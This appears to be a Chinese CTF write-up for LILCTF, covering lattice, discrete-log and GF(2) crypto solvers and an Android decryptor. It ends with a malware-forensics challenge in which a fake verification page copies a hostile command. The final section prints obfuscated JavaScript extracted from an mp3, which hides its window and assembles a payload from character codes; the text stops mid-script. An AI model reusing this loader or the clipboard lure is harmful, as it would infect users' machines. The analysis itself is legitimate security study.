碎碎念
第一次的话已经说累了,整点别的
新一轮燃尽之旅,超凡脱俗了,这次的wp很长,因为除了misc我还做了其他方向的内容)
lil的题目还是很不错的,感觉学到了不少,很有意思,明年再战
x@:)fp|]W#mc=AXES]{ICf<L,Fq\,ctDFW?rCiJ%^gSu9hylW)UFTio3Sfg\kT(@wl$c0=']-9
最后,彦门🙏永存

Crypto
ez_math
知识点省流
ai梭哈
WP
队友做的,不过ai就能秒
Linear
知识点省流
ai梭哈
WP
简单分析一下可以确定,连上靶机后会得到很多数值,实际上是解线性代数
核心在于求解Ax=b,靶机会给我们一个16x32的矩阵和一个16维的向量,我们需要通过计算去反推一个32维的整数向量
可以将原方程变形为Ax-b=0后,构造增广矩阵M和增光向量y,使得方程为My=0
这也对应了y存在于矩阵M的零空间中,由于反推的整数向量是由范围优先的整数构成的,所以使得y在这个空间中对应的格是一个非常短的向量
用LLL算法去找到这个最短的基向量,再从中提出整数向量即可
1import os
2import random
3import signal
4
5signal.alarm(10)
6
7flag = os.getenv("LILCTF_FLAG", "LILCTF{default}")
8
9nrows = 16
10ncols = 32
11
12A = [[random.randint(1, 1919810) for _ in range(ncols)] for _ in range(nrows)]
13x = [random.randint(1, 114514) for _ in range(ncols)]
14
15b = [sum(A[i][j] * x[j] for j in range(ncols)) for i in range(nrows)]
16print(A)
17print(b)
18
19xx = list(map(int, input("Enter your solution: ").strip().split()))
20if xx != x:
21 print("Oh, your linear algebra needs to be practiced.")
22else:
23 print("Bravo! Here is your flag:")
24 print(flag)注意这里会用到sage,为了省事不用配环境,直接先用纯sage求值,再拿去给脚本提交(得益于他有10s的空档期):
sage部分
1from sage.all import Matrix, ZZ, vector
2
3
4A_list = [
5 [986289, 1037421, 876831, 1437741, 391463, 484363, 174757, 133667, 33369, 663544, 368272, 557013, 996624, 812241,
6 1810089, 1036354, 1824268, 713830, 1128134, 1102848, 627504, 1892174, 442125, 1833111, 1028453, 538386, 216739,
7 1006609, 707510, 1249813, 522731, 36698],
8 [203409, 426197, 1281098, 1144534, 675897, 1918970, 1004113, 1028254, 152856, 438475, 94912, 1681891, 1621577,
9 1518042, 1609271, 382100, 496878, 1267972, 641440, 1306870, 278998, 1408790, 37982, 597877, 1856474, 1636130,
10 467636, 675691, 1523323, 710740, 897592, 48877],
11 [1380819, 1121490, 481366, 1882091, 776973, 412181, 1893086, 1689076, 1279364, 1090203, 446504, 937696, 1356736,
12 1785698, 1133105, 972225, 1575203, 1628808, 426026, 79155, 1445489, 1250052, 385011, 1395085, 351205, 37635,
13 1028217, 750745, 41560, 320123, 132041, 494385],
14 [1421726, 493587, 32734, 569998, 306241, 1601165, 1697481, 1571883, 1691523, 607793, 1004767, 1873328, 1345180,
15 1209784, 1169513, 1848614, 446834, 1166759, 545221, 636466, 814032, 1633072, 1289697, 960543, 1774293, 1452803,
16 730007, 1516989, 1331282, 82932, 1811815, 1569724],
17 [1913284, 156925, 1739402, 1407622, 1802633, 260179, 163974, 856138, 1273063, 1703047, 1738533, 1231103, 576536,
18 1755015, 1630181, 1855508, 1918715, 1134086, 1317637, 576849, 1362016, 849710, 944924, 1564365, 629381, 629708,
19 772138, 142314, 1098055, 832171, 92261, 1222165],
20 [1618817, 421965, 1392391, 1561729, 485494, 619824, 977145, 1551189, 1795400, 1139062, 1466524, 409661, 965273,
21 585040, 358765, 1189530, 604120, 658588, 1417013, 794961, 1420364, 1708444, 40389, 1221686, 643051, 1225636,
22 1185726, 778346, 1195177, 1846558, 1531069, 222253],
23 [1016259, 919507, 1344827, 1194122, 221754, 392545, 1522180, 512245, 1534393, 562810, 900937, 369936, 1181537,
24 1828728, 1265368, 1793559, 1813844, 726597, 407245, 800557, 82744, 1194000, 1375068, 442390, 1455934, 1268947,
25 532426, 1267920, 1723155, 735945, 1478460, 698406],
26 [1612348, 1778328, 1151131, 1378584, 280865, 1086774, 984000, 819430, 1355050, 1445818, 1002362, 809283, 853566,
27 6779, 1908510, 1616151, 1891947, 857417, 1306696, 1192725, 301572, 1883223, 1671075, 1668606, 1798560, 602156,
28 1750906, 25655, 1490017, 1375289, 566125, 965745],
29 [945795, 1533988, 1226815, 1852828, 1792995, 235559, 1095019, 398406, 1644953, 309437, 1202623, 249151, 735025,
30 1022271, 1605616, 1322261, 1348376, 856010, 914895, 460316, 1529386, 1579741, 1520179, 1656578, 677860, 1587329,
31 1376986, 88712, 1562922, 1196594, 542579, 938871],
32 [938165, 756503, 1181327, 876952, 1109414, 310812, 1788066, 1127478, 1383301, 779819, 1685819, 741633, 955059,
33 89876, 1644211, 927334, 563654, 846757, 1568679, 681586, 1370600, 1281211, 472303, 1338089, 489066, 1791037,
34 1579375, 459867, 970155, 387258, 1666207, 252526],
35 [1670347, 1620499, 813248, 292357, 1236744, 319559, 1238708, 1821094, 821535, 1223683, 458896, 378949, 1227848,
36 1359572, 761771, 1848633, 1585174, 1823304, 1273961, 807635, 1374877, 514873, 567352, 83771, 315289, 996074,
37 1777508, 1810410, 1504820, 1176888, 628406, 711034],
38 [920625, 834976, 1329201, 1758883, 1274401, 513926, 1724767, 1098314, 1077424, 611843, 743733, 692149, 1188047,
39 152124, 1880491, 1514463, 654241, 1370409, 1884735, 197313, 159775, 1706411, 1899881, 1510237, 1082416, 1203683,
40 391817, 1236066, 1824223, 246962, 1384340, 288478],
41 [1250927, 753265, 1259730, 1831186, 114382, 838089, 1383458, 1073806, 1291803, 1017817, 518072, 711461, 571913,
42 989775, 1190410, 662455, 1487547, 1780354, 1098268, 1852925, 1867594, 174231, 231135, 1639009, 924589, 1507918,
43 1605300, 1591151, 947924, 827984, 469903, 460327],
44 [270631, 896737, 1284977, 1099006, 1341566, 1606736, 1697002, 57936, 1019214, 1753421, 103988, 1253453, 846179,
45 1122321, 740064, 411333, 1450647, 1486217, 1624316, 310933, 1299783, 671139, 159159, 1832387, 1497176, 1681814,
46 683684, 785514, 153169, 1568184, 334745, 182826],
47 [211918, 9306, 496852, 40006, 1787878, 1715110, 1560885, 1613812, 1877979, 924353, 1018704, 679792, 83326, 1626192,
48 1405560, 1216057, 1151537, 397417, 537968, 538506, 1169391, 1885481, 338875, 434421, 1882779, 317920, 1054176,
49 229376, 1534987, 920639, 387936, 1305511],
50 [1363205, 1206853, 271204, 895646, 757643, 67932, 1626487, 1287113, 190138, 1116279, 1577572, 1751529, 56272,
51 421504, 1862400, 1645925, 546567, 1692175, 939505, 915664, 1055182, 1063613, 668269, 86659, 1798406, 507627,
52 558143, 1691137, 1601012, 865184, 24535, 43094]]
53b_list = [1579724526882, 1522534073530, 1804523948901, 2087834012431, 2189880099453, 2084607882676, 1895922937661,
54 2203265067225, 2093004261502, 1874182288236, 2028844018471, 1884750643445, 2042413341121, 1876922882194,
55 1867103071580, 1639944240118]
56
57
58# ==============================================================================
59# --- 步骤 2: 运行此脚本 (下面的代码无需修改) ---
60
61def solve_from_data(A_data, b_data):
62 """根据给定的 A 和 b 数据,计算并返回解字符串。"""
63 try:
64 # 转换为 SageMath 对象
65 A = Matrix(ZZ, A_data)
66 b = vector(ZZ, b_data)
67
68 # 构造增广矩阵 M = [A | -b]
69 M = A.augment(-b.column())
70
71 # 计算 M 的右零空间并获取其基矩阵
72 kernel_basis = M.right_kernel().basis_matrix()
73
74 # 应用 LLL 算法找到最短向量
75 lll_basis = kernel_basis.LLL()
76 short_vector = lll_basis[0]
77
78 # 标准化向量,确保最后一个分量为 1
79 if short_vector[-1] == -1:
80 solution_y = -short_vector
81 elif short_vector[-1] == 1:
82 solution_y = short_vector
83 else:
84 # 这种情况在CTF题目中几乎不会发生
85 return f"错误: LLL求解异常,最后一个元素为 {short_vector[-1]}"
86
87 # 提取解 x (除了最后一个元素之外的所有元素)
88 x = solution_y[:-1]
89
90 # 格式化为服务器要求的空格分隔的字符串
91 solution_str = ' '.join(map(str, x))
92 return solution_str
93
94 except Exception as e:
95 return f"计算过程中发生错误: {e}"
96
97
98# 执行计算并打印结果
99if __name__ == "__main__":
100 # 检查占位符数据是否已被替换
101 if A_list == [[1, 2, 3], [4, 5, 6]]:
102 print("错误:请先将从 connector.py 获取的真实数据粘贴到此脚本中!")
103 else:
104 solution = solve_from_data(A_list, b_list)
105 print("\n" + "=" * 65)
106 print("计算完成!请将下面的解复制并粘贴到 connector.py 的运行终端中:")
107 print("=" * 65 + "\n")
108 print(solution)
109 print("\n" + "=" * 65)提交
1from pwn import *
2
3HOST = 'challenge.xinshi.fun'
4PORT = 39782
5
6
7def main():
8 try:
9 r = remote(HOST, PORT)
10 except Exception as e:
11 log.error(f"连接失败: {e}")
12 return
13
14 # --- 1. 获取题目 ---
15 log.info("正在从服务器获取矩阵 A 和向量 b...")
16 line_A = r.recvline().strip().decode()
17 line_b = r.recvline().strip().decode()
18
19 # 为了方便复制,我们打印成 Python 代码格式
20 print("\n" + "=" * 60)
21 print("请将以下内容完整复制到 'solver.sage' 文件中,然后运行它:")
22 print("=" * 60 + "\n")
23 print(f"A_list = {line_A}")
24 print(f"b_list = {line_b}")
25 print("\n" + "=" * 60)
26
27 # --- 2. 等待用户输入计算出的解 ---
28 log.info("等待您输入从 Sage 脚本计算出的解...")
29 r.recvuntil(b'Enter your solution: ')
30
31 try:
32 solution_str = input("[+] 请在此处粘贴解并按回车: ")
33 except EOFError:
34 log.error("输入被中断。")
35 r.close()
36 return
37
38 # --- 3. 提交解并获取 Flag ---
39 log.info("正在发送解...")
40 r.sendline(solution_str.encode())
41
42 log.success("解已发送!接收服务器响应...")
43
44 # 打印最终的服务器响应
45 response = r.recvall(timeout=2).decode(errors='ignore')
46 print("\n" + "=" * 20 + " 服务器响应 " + "=" * 20)
47 print(response)
48 print("=" * 55)
49
50 r.close()
51
52
53if __name__ == "__main__":
54 main()mid_math
知识点省流
ai梭哈
WP
简单来说,核心就在于用线代的特征值藏了一个key
矩阵C和D满足D=C^key
通过计算他们的特征值可以将问题转为线代问题,然后用离散对数解出key
最后解密即可
1# 文件名: calculate_keys.sage
2# 运行方式: sage calculate_keys.sage
3from sage.all import *
4
5# --- 已知信息 ---
6p = 14668080038311483271
7C_list = [[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212], [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914], [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670], [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413], [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]]
8D_list = [[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044], [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372], [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427], [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551], [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]]
9
10# 1. 设置 SageMath 的有限域和矩阵
11P = GF(p)
12C_mat = matrix(P, C_list)
13D_mat = matrix(P, D_list)
14
15print("[SAGE] 正在计算矩阵 C 和 D 的特征值...")
16# 2. 计算特征值并过滤掉 0
17C_eigenvalues = [v for v in C_mat.eigenvalues() if v != 0]
18D_eigenvalues = [v for v in D_mat.eigenvalues() if v != 0]
19
20print(f"[SAGE] C 的非零特征值: {C_eigenvalues}")
21print(f"[SAGE] D 的非零特征值: {D_eigenvalues}")
22
23# 3. 遍历所有可能的特征值配对,求解离散对数
24potential_keys = set() # 使用集合来自动去重
25for c_eig in C_eigenvalues:
26 for d_eig in D_eigenvalues:
27 try:
28 # 求解离散对数: d_eig = c_eig ^ key
29 key_candidate = d_eig.log(c_eig)
30 potential_keys.add(int(key_candidate))
31 except (ValueError, TypeError):
32 # 如果配对不正确,log 会失败
33 continue
34
35print("\n" + "="*50)
36print("[SAGE] 数学计算完成。")
37print("[SAGE] 所有可能的候选 Key 如下:")
38print(list(potential_keys))
39print("="*50)
40print("\n请将上面的列表复制到下一个 Python 脚本中。")exp.py
1# 文件名: decrypt_flag.py
2# 运行方式: python decrypt_flag.py
3from Crypto.Cipher import AES
4from Crypto.Util.Padding import pad, unpad
5from Crypto.Util.number import long_to_bytes
6
7# --- 已知信息 ---
8msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"
9
10# --- 粘贴从 Sage 脚本得到的候选 Key 列表 ---
11# 例如: potential_keys = [12345, 67890, ...]
12potential_keys = [6448373187654316742] # 提示:这里我已经把上一步的计算结果填好了
13
14
15# --- 开始解密 ---
16print("[PYTHON] 开始尝试使用候选 Key 进行解密...")
17found = False
18for key_int in potential_keys:
19 try:
20 print(f"\n[*] 正在尝试 Key: {key_int}")
21
22 # 1. 准备 AES 密钥
23 aes_key = pad(long_to_bytes(key_int), 16)
24
25 # 2. 创建解密器并解密
26 cipher = AES.new(aes_key, AES.MODE_ECB)
27 decrypted_padded = cipher.decrypt(msg)
28
29 # 3. 反填充
30 # 原始脚本使用 pad(flag, 64),所以 unpad 时 block_size 也是 64
31 decrypted = unpad(decrypted_padded, 64)
32
33 # 4. 验证解密结果
34 if decrypted.startswith(b'LILCTF{'):
35 print("\n" + "="*50)
36 print(f"[SUCCESS] 找到正确的 Key: {key_int}")
37 print(f"[SUCCESS] 解密成功! Flag 是: {decrypted.decode()}")
38 print("="*50)
39 found = True
40 break
41 else:
42 print(f"[-] 解密内容不正确: {decrypted}")
43
44 except Exception as e:
45 # 可能是 unpad 错误,说明 key 不正确
46 print(f"[-] 解密或反填充失败: {e}")
47 continue
48
49if not found:
50 print("\n[FAIL] 遍历了所有候选 Key,但未能解密 Flag。")Space Travel
知识点省流
ai梭哈
WP
直接利用题目给出的数据构建线性方程组去求解密钥的话需要解2^50量级的解空间
直接暴力求解是很难的,经过多次尝试后,留意到vecs表追踪共给了4096个向量,恰好是其张成的13维子空间的一半((2^13)/2),可以利用这些向量的基坐标去满足一个仿射线性方程,基于这个约束建立50个线性方程,直接构建出一个可直接求解的50x50的方程组,从而解出密钥
1import numpy as np
2from hashlib import md5
3from Crypto.Cipher import AES
4
5# --- 请将从题目文件中获得的数据填入此处 ---
6
7# TODO: 在这里粘贴来自 'params.py' 的 'vecs' 列表
8vecs_str = []
9
10# TODO: 在这里粘贴来自 'output.txt' 中'🎁'部分的列表
11data = []
12
13# TODO: 在这里粘贴来自 'output.txt' 中'🚩'部分的加密Flag
14# 请确保它是一个字节对象 (以 b' 开头)
15
16encrypted_flag = b''
17
18
19
20# --- 数据填充结束 ---
21
22def get_rref_and_pivots(A):
23 """计算矩阵A在GF(2)上的简化行阶梯形(RREF)和主元列索引"""
24 m, n = A.shape
25 A_rref = A.copy()
26 pivot_cols = []
27 pivot_row = 0
28 col_order = list(range(n))
29
30 for j in range(n):
31 if pivot_row < m:
32 i = pivot_row
33 while i < m and A_rref[i, j] == 0:
34 i += 1
35 if i < m:
36 A_rref[[pivot_row, i]] = A_rref[[i, pivot_row]]
37 for row_idx in range(m):
38 if row_idx != pivot_row and A_rref[row_idx, j] == 1:
39 A_rref[row_idx, :] ^= A_rref[pivot_row, :]
40 pivot_cols.append(j)
41 pivot_row += 1
42
43 for i in range(len(pivot_cols) - 1, -1, -1):
44 pivot_col = pivot_cols[i]
45 for row_idx in range(i):
46 if A_rref[row_idx, pivot_col] == 1:
47 A_rref[row_idx, :] ^= A_rref[i, :]
48
49 return A_rref, pivot_cols
50
51
52def solve_linear_system_gf2(A, b):
53 """使用高斯消元法求解 Ax = b 在 GF(2) 上的一个特解"""
54 m, n = A.shape
55 aug = np.hstack([A.copy(), b.reshape(-1, 1)])
56 aug_rref, pivot_cols = get_rref_and_pivots(aug)
57
58 x = np.zeros(n, dtype=np.uint8)
59 # 检查解是否存在
60 for i in range(len(pivot_cols), m):
61 if aug_rref[i, -1] == 1:
62 raise ValueError("System has no solution")
63
64 for i, p_col in enumerate(pivot_cols):
65 if p_col < n:
66 x[p_col] = aug_rref[i, -1]
67 return x
68
69
70def get_null_space_basis(A):
71 """求解矩阵A在GF(2)上的零空间基"""
72 m, n = A.shape
73 A_rref, pivot_cols = get_rref_and_pivots(A)
74 free_cols = sorted(list(set(range(n)) - set(pivot_cols)))
75
76 basis = []
77 for f_col in free_cols:
78 v = np.zeros(n, dtype=np.uint8)
79 v[f_col] = 1
80 for i, p_col in enumerate(pivot_cols):
81 if A_rref[i, f_col] == 1:
82 v[p_col] = 1
83 basis.append(v)
84 return np.array(basis, dtype=np.uint8).T
85
86
87def solve_challenge():
88 if not all([vecs_str, data, encrypted_flag]):
89 print("错误:请先在脚本中填入 'vecs_str', 'data', 和 'encrypted_flag' 的值。")
90 return
91
92 print("步骤 1: 分析vecs列表,找到隐藏的线性约束...")
93 vecs_np = np.array([[int(c) for c in v] for v in vecs_str], dtype=np.uint8)
94
95 # 1a. 计算vecs空间的基
96 rref_vecs, p_cols_vecs = get_rref_and_pivots(vecs_np)
97 rank = len(p_cols_vecs)
98 basis_matrix = rref_vecs[:rank]
99 print(f" - vecs空间的秩 (Rank) = {rank}")
100
101 # 1b. 将所有vecs向量表示为基的系数
102 # 为了求解 a @ B = v,我们解 B.T @ a.T = v.T
103 B_T = basis_matrix.T
104 coeffs = []
105 for v in vecs_np:
106 a = solve_linear_system_gf2(B_T, v)
107 coeffs.append(a)
108 coeffs_matrix = np.array(coeffs, dtype=np.uint8)
109
110 # 1c. 找到系数矩阵的仿射约束 w, b
111 # 寻找一个向量 (w, b) 使得 [coeffs_matrix | 1] @ (w, b).T = 0
112 aug_coeffs = np.hstack([coeffs_matrix, np.ones((len(coeffs_matrix), 1), dtype=np.uint8)])
113 affine_constraint = get_null_space_basis(aug_coeffs)[:, 0]
114 w = affine_constraint[:-1]
115 b = affine_constraint[-1]
116 print(" - 成功找到隐藏的线性约束方程!")
117
118 print("步骤 2: 构建主线性方程组...")
119 num_unknowns = 50 * rank
120 A_new = np.zeros((len(data), num_unknowns), dtype=np.uint8)
121 p = np.array([item[1] for item in data], dtype=np.uint8)
122
123 for i, (nonce, _) in enumerate(data):
124 nonce_bits = format(nonce, f'0{50*16}b')
125 row = []
126 for j in range(50):
127 n_j = np.array([int(b) for b in nonce_bits[j*16:(j+1)*16]], dtype=np.uint8)
128 row.extend((basis_matrix @ n_j) % 2)
129 A_new[i] = np.array(row, dtype=np.uint8)
130
131 print("步骤 3: 求解主方程组的特解和零空间...")
132 M_p_flat, N_basis = get_null_space_basis(A_new), get_null_space_basis(np.hstack([A_new, p.reshape(-1,1)]))
133 M_p_flat = N_basis[:num_unknowns, -1]
134 N_basis = N_basis[:num_unknowns, :-1]
135
136 d_null = N_basis.shape[1]
137 print(f" - 特解已找到,零空间维度为 {d_null}")
138
139 print("步骤 4: 利用隐藏约束构建新方程组,直接求解零空间系数...")
140 M_p = M_p_flat.reshape(50, rank)
141 Ac = np.zeros((50, d_null), dtype=np.uint8)
142 bc = np.zeros(50, dtype=np.uint8)
143
144 for j in range(50):
145 # (M_p_j + sum(c_i * N_ij)) @ w + b = 0
146 # sum(c_i * (N_ij @ w)) = M_p_j @ w + b
147 for i in range(d_null):
148 N_ij = N_basis[:, i].reshape(50, rank)[j]
149 Ac[j, i] = (N_ij @ w) % 2
150 bc[j] = ((M_p[j] @ w) % 2 + b) % 2
151
152 print(" - 新方程组构建完毕,求解...")
153 c = solve_linear_system_gf2(Ac, bc)
154 print(" - 成功求解出唯一的零空间系数!")
155
156 print("步骤 5: 重构最终密钥...")
157 M_correct_flat = (M_p_flat + N_basis @ c) % 2
158 coefficients = M_correct_flat.reshape(50, rank)
159 key_blocks = (coefficients @ basis_matrix) % 2
160 key_str = "".join("".join(map(str, row)) for row in key_blocks)
161 key = int(key_str, 2)
162 print(" - 密钥重构成功。")
163
164 print("步骤 6: 解密Flag...")
165 aes_key = md5(str(key).encode()).digest()
166 cipher = AES.new(key=aes_key, nonce=b"Tiffany", mode=AES.MODE_CTR)
167 flag = cipher.decrypt(encrypted_flag)
168
169 print("\n" + "="*40)
170 try:
171 print(f"🚩 Flag: {flag.decode()}")
172 except UnicodeDecodeError:
173 print(f"🚩 Flag (原始字节): {flag}")
174 print("="*40)
175
176if __name__ == '__main__':
177 solve_challenge()
Re
ARM ASM
知识点省流
简单的安卓逆向
WP
先用ida分析一下apk里面的so,找到mainactivity,看不懂就丢给ai分析,大致可以确定是一个对输入字符串的加解密编码的过程,同时里面引入了一个t的值

可以看到里面用到了一个base64的编码函数,找到t对应的位置,还能看到base64的索引表,这里被魔改了

所以提出t的值和base64索引表后,我们就可以写解密脚本了,但现在我们还需要密文
这里需要用到jadx去打开apk,老样子还是找mainactivity,就能看到下面加密字符串

最后搓脚本就好
1# --- 自定义字符表 ---
2CUSTOM_BASE64_ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"
3
4# --- 常量和初始数据 ---
5
6# t表保持不变
7t_table = [0xD, 0xE, 0xF, 0xC, 0xB, 0xA, 9, 8, 6, 7, 5, 4, 2, 3, 1, 0]
8
9# 加密的字符串
10encrypted_str = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"
11
12
13# --- 辅助函数 ---
14
15def custom_b64decode(encoded_string):
16 """
17 使用自定义的Base64字符表解码字符串。
18 """
19 # 创建从字符到索引值的反向映射
20 decode_map = {char: i for i, char in enumerate(CUSTOM_BASE64_ALPHABET)}
21
22 # 移除任何可能的填充符(尽管在这个例子中没有)
23 encoded_string = encoded_string.rstrip('=')
24
25 # 将编码字符串转换为6位的整数值列表
26 sextets = [decode_map[char] for char in encoded_string]
27
28 decoded_bytes = bytearray()
29 # 以4个值为一组进行处理 (4 * 6位 = 24位 = 3字节)
30 for i in range(0, len(sextets), 4):
31 chunk = sextets[i:i + 4]
32
33 # 将4个6位值合并成一个24位整数
34 val = (chunk[0] << 18) | (chunk[1] << 12) | (chunk[2] << 6) | chunk[3]
35
36 # 将24位整数拆分为3个8位字节
37 byte1 = (val >> 16) & 0xFF
38 byte2 = (val >> 8) & 0xFF
39 byte3 = val & 0xFF
40
41 decoded_bytes.extend([byte1, byte2, byte3])
42
43 # 根据填充情况处理末尾
44 if encoded_string.endswith('=='):
45 return decoded_bytes[:-2]
46 elif encoded_string.endswith('='):
47 return decoded_bytes[:-1]
48
49 return decoded_bytes
50
51
52def rol(byte, shift):
53 """
54 对一个字节执行左循环移位 (ROL)。
55 """
56 return ((byte << shift) | (byte >> (8 - shift))) & 0xFF
57
58
59def get_table_for_iteration(i):
60 """
61 计算在加密循环的第 'i' 次迭代时使用的v10表。
62 表在每次迭代中被使用后才会更新。
63 """
64 current_table = list(t_table)
65 # i=0时, 使用原始的t表。
66 # i=1时, 使用原始的t表。
67 # i=2时, 使用 t表 XOR [1,1,1,...] 后的表。
68 if i == 2:
69 for j in range(16):
70 current_table[j] ^= 1
71 return current_table
72
73
74def unshuffle(data_chunk, table):
75 """
76 逆转查询表操作 (vqtbl1q_s8)。
77 加密: shuffled[j] = plain[table[j]]
78 解密: plain[table[j]] = shuffled[j]
79 """
80 if len(data_chunk) != 16 or len(table) != 16:
81 raise ValueError("数据和表都必须是16字节。")
82
83 plain_chunk = [0] * 16
84 for i in range(16):
85 # 目标索引是 table[i]
86 # 要放置的值是 data_chunk[i]
87 plain_chunk[table[i]] = data_chunk[i]
88
89 return plain_chunk
90
91
92# --- 解密流程 ---
93
94# 1. 使用自定义的字符表进行Base64解码
95try:
96 decoded_data = custom_b64decode(encrypted_str)
97 print(f"[+] 使用自定义字符表解码后的数据 (长度={len(decoded_data)}): {decoded_data.hex()}")
98except Exception as e:
99 print(f"[-] 自定义Base64解码失败: {e}")
100 exit()
101
102if len(decoded_data) != 48:
103 print(f"[-] 错误: 解码后的数据长度不是48字节, 而是 {len(decoded_data)}。")
104 exit()
105
106# 2. 逆转第二个循环 (位操作)
107# 加密是ROR (右循环移位), 所以我们用ROL (左循环移位) 来逆转。
108data_after_bit_ops_reversal = bytearray(decoded_data)
109for j in range(0, 48, 3):
110 # 逆转: v11[j] = ROR(v11[j], 5) => v11[j] = ROL(v11[j], 5)
111 data_after_bit_ops_reversal[j] = rol(data_after_bit_ops_reversal[j], 5)
112
113 # 逆转: v11[j+1] = ROR(v11[j+1], 1) => v11[j+1] = ROL(v11[j+1], 1)
114 data_after_bit_ops_reversal[j + 1] = rol(data_after_bit_ops_reversal[j + 1], 1)
115
116 # v11[j+2] 没有被修改, 所以我们什么都不做。
117
118print(f"[+] 逆转位旋转操作后的数据: {data_after_bit_ops_reversal.hex()}")
119
120# 3. 逆转第一个循环 (NEON逻辑)
121# 我们必须以相反的顺序迭代: 2, 1, 0。
122final_decrypted_data = bytearray(data_after_bit_ops_reversal)
123
124for i in range(2, -1, -1):
125 # 获取当前处理的16字节数据块
126 start = 16 * i
127 end = start + 16
128 encrypted_chunk = final_decrypted_data[start:end]
129
130 # 获取本次迭代对应的正确的表
131 current_table = get_table_for_iteration(i)
132
133 # 步骤 3.1: 逆转XOR操作
134 # encrypted_chunk = XOR(shuffled_plain, table) => shuffled_plain = XOR(encrypted_chunk, table)
135 shuffled_plain = [c ^ t for c, t in zip(encrypted_chunk, current_table)]
136
137 # 步骤 3.2: 逆转shuffle操作 (vqtbl1q_s8)
138 plain_chunk = unshuffle(shuffled_plain, current_table)
139
140 # 将解密后的数据块放回数据数组中
141 final_decrypted_data[start:end] = bytearray(plain_chunk)
142
143# --- 最终结果 ---
144try:
145 result_string = final_decrypted_data.decode('utf-8')
146 print("\n========================================")
147 print(f"✅ Flag/解密后的字符串: {result_string}")
148 print("========================================")
149except UnicodeDecodeError:
150 print("\n========================================")
151 print("[-] 无法将结果解码为UTF-8字符串。原始字节如下:")
152 print(f"解密后的字节: {final_decrypted_data.hex()}")
153 print("========================================")1’M no7 A rO6oT
知识点省流
还算简单的恶意代码取证逆向
WP
首先题目提到了自行承担后果,所以铁定没什么好事
进靶机之后根据他的验证提示,发现这里莫名其妙复制了一串命令(如果真执行了就会关机tmd)

拉出来分析,发现他访问了一个mp3文件,给他下下来,不用说都知道里面有恶意代码或者程序,但是直接010看尾巴看不出来,内容有一点多,所以我一点点翻,发现这里有个script,所以把他前后截断提取出来

提取得到代码如下,这其实就js,
1<script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;var SxhM = String.fromCharCode(SK,UP,tV,Fx,nI,pV,wt,tV,RV,pV,wt,wV,Rp,kz,CX,GH,PS,YO,kF,PO,QF,sZ,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,ST,RV,Ix,Ix,Im,SK,wt,sV,RV,GH,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,Fi,Im,Gm,YZ,Xj,kF,RV,dL,RV,PS,YO,kF,PO,cX,ho,Gm,tV,Lj,nI,wl,Im,RV,Gm,YZ,Xj,kF,jF,jF,QF,sZ,nd,Ge,sV,RV,tV,Gg,aV,uD,RV,ST,RV,Nj,nI,sV,pV,tV,Lj,cX,SK,sV,wt,YZ,uD,wl,Ge,sV,uD,wt,Gg,Gm,GH,PS,YO,kF,PO,US,Gm,YZ,Xj,kF,tg,RV,vx,RV,xv,Fi,QB,QF,Im,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,wt,wl,NL,Ep,uS,Lj,RV,jF,RV,tV,Gg,aV,uD,WT,sV,Gm,nI,UP,sV,tV,RV,wt,wl,NL,Ep,uS,Lj,WT,Im,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,FT,QB,yN,ff,RV,FT,QB,it,ff,RV,FT,it,Fi,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,xv,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,kX,ff,RV,FT,Fi,kX,ff,RV,xv,zN,FT,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,FT,Fi,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,it,Fi,ff,RV,xv,yN,yN,ff,RV,xv,NW,Fi,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,Mb,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,Fi,Fi,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,F